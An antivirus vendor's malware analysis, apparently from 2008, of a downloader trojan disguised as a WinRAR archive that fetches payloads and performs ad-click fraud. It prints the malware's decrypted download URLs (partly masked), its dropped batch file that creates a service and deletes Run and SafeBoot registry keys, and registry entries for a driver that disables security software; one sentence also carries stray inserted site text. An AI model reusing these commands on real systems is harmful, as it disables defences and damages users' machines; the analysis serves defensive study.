捕获时间
2008-11-29
病毒摘要
该样本是使用“vc”编写的下载器，由微点主动防御软件自动捕获，未加壳,长度为“24,576 字节”，图标为，伪装为winrar压缩包，欺骗用户点击，病毒扩展名为“exe”，主要通过“网页木马”、“文件捆绑”的方式传播，病毒主要访问大量网页，刷取广告流量。
感染对象
windows 2000/windows xp/windows 2003
传播途径
网页木马、文件捆绑
防范措施
已安装使用微点主动防御软件的用户，无须任何设置，微点主动防御将自动保护您的系统免受该病毒的入侵和破坏。无论您是否已经升级到最新版本，微点主动防御都能够有效清除该病毒。如果您没有将微点主动防御软件升级到最新版，微点主动防御软件在发现该病毒后将报警提示您发现“未知木马”，请直接选择删除处理（如图1）；
图1 主动防御自动捕获未知病毒（未升级）
如果您已经将微点主动防御软件升级到最新版本，微点将报警提示您发现"trojan-clicker.win32.agent.heh”，请直接选择删除（如图2）。
图2 升级后截获已知病毒
对于未使用微点主动防御软件的用户，微点反病毒专家建议：
1、不要在不明站点下载非官方版本的软件进行安装，避免病毒通过捆绑的方式进入您的系统。
2、尽快将您的杀毒软件特征库升级到最新版本进行查杀，并开启防火墙拦截网络异常访问，如依然有异常情况请注意及时与专业的安全软件厂商联系获取yb亚博全站首页的技术支持。
3、开启windows自动更新，及时打好漏洞补丁。
病毒分析
该样本运行后，程序内部存在大量加密数据，经解密后显示为：
| |
| “ fsgdf765rgvvvstdshtts|http://122.***.9.151/kills.txt?p=|http://lmok1***xing.w239.dns911.cn/kills.txt?p=|http://122.***.9.151/kills.txt?p=|http://baiduasp.web***.dns911.cn/kills.txt?p=|http://www.lmok*8*.com/kills.txt?p=|.exe|.scr|.com|.txt|*.*|%h%m%s|...........?#.'_ ” |
|
程序将从下列地址下载文件：
| |
http://122.***.9.151/kills.txt
http://lmok1***xing.w239.dns911.cn/kills.txt
http://baiduasp.web***.dns911.cn/kills.txt
http://www.lmok***.com/kills.txt |
|
“kills.txt”是加密过的数据，包含了大量网址和配置信息，样本将在上述地址中不断随机选取地址下载“kills.txt”，并存储至“%systemroot%”文件夹下，存储为随机文件名后缀为“.txt”的文件，随后读取其内容，在“%systemroot%”文件夹下生成一随机文件名后缀为“.exe”的文件，利用deletefile函数删除后缀为“.txt”的文件，利用winexec函数运行后缀名为“.exe”的文件。
样本读取“kills.txt”后生成的“.exe”文件运行后，将为自身设立随机名称的快捷方式，存为“%allusersprofile%\「开始」菜单\程序\启动\****.lnk”，生成随机名称的批处理文件，存为“%allusersprofile%\「开始」菜单\程序\启动\****.bat”，批处理文件如下：
| |
于法身音下动表喜曼会时老音船度参大样动谁业女派日为喜壳改歌可
sc.exe create 2m8ccdy87e binpath= "c:\windows\2m8ccdy87e.exe ywc02zf21" type= own type= interact start= auto displayname= 2m8ccdy87e
sc.exe description 2m8ccdy87e 效过感他跳有行技来上选晚港搅得以温对就调于营第
gcdl8a8q6
reg.exe delete hklm\software\microsoft\windows\currentversion\run /f
reg.exe delete hklm\system\currentcontrolset\control\safeboot\network\{4d36e967-e325-11ce-bfc1-08002be10318} /f
reg.exe delete hklm\system\currentcontrolset\control\safeboot\minimal\{4d36e967-e325-11ce-bfc1-08002be10318} /f
dt3rwixpa
reg.exe delete hklm\system\controlset001\control\safeboot\network\{4d36e967-e325-11ce-bfc1-08002be10318} /f
reg.exe delete hklm\system\controlset001\control\safeboot\minimal\{4d36e967-e325-11ce-bfc1-08002be10318} /f
del %0
del %0
exit |
|
企图删除自启动项并破坏用户安全模式。
在“%systemroot%”文件夹下生成一随机文件名后缀为“.txt”的驱动文件，建立为服务项并启动，相关注册表项如下：
| |
项：“hkey_local_machine\system\currentcontrolset\services\z3sakp0r36m”
键：“type”
值：“service_kernel_driver”
键：“start”
值：“service_demand_start”
键：“imagepath”
值：“\??\c:\windows\rq79yudv34up.txt” |
|
该驱动主要用于恢复ssdt表，使安全软件的主动防御失效。
修改注册表，起到关闭背景音乐，禁止播放动画等作用，为其刷流量做好前置准备，相关注册表项如下：
| |
项：“hkey_current_user\software\microsoft\internet explorer\main\”
键：“play_background_sounds”
值：“no”
键：“play_animations”
值：“no”
键：“display inline videos”
值：“no”
键：“enable autoimageresize”
值：“no”
键：“display inline images”
值：“yes”
键：“disable script debugger”
值：“yes”
键：“disablescriptdebuggerie”
值：“yes”
|
|
利用setfileattributes函数将自身设置为“隐藏”、“系统”属性，最终病毒将访问大量站点，刷取广告流量，造成用户主机运行缓慢，弹出各类网站窗口。
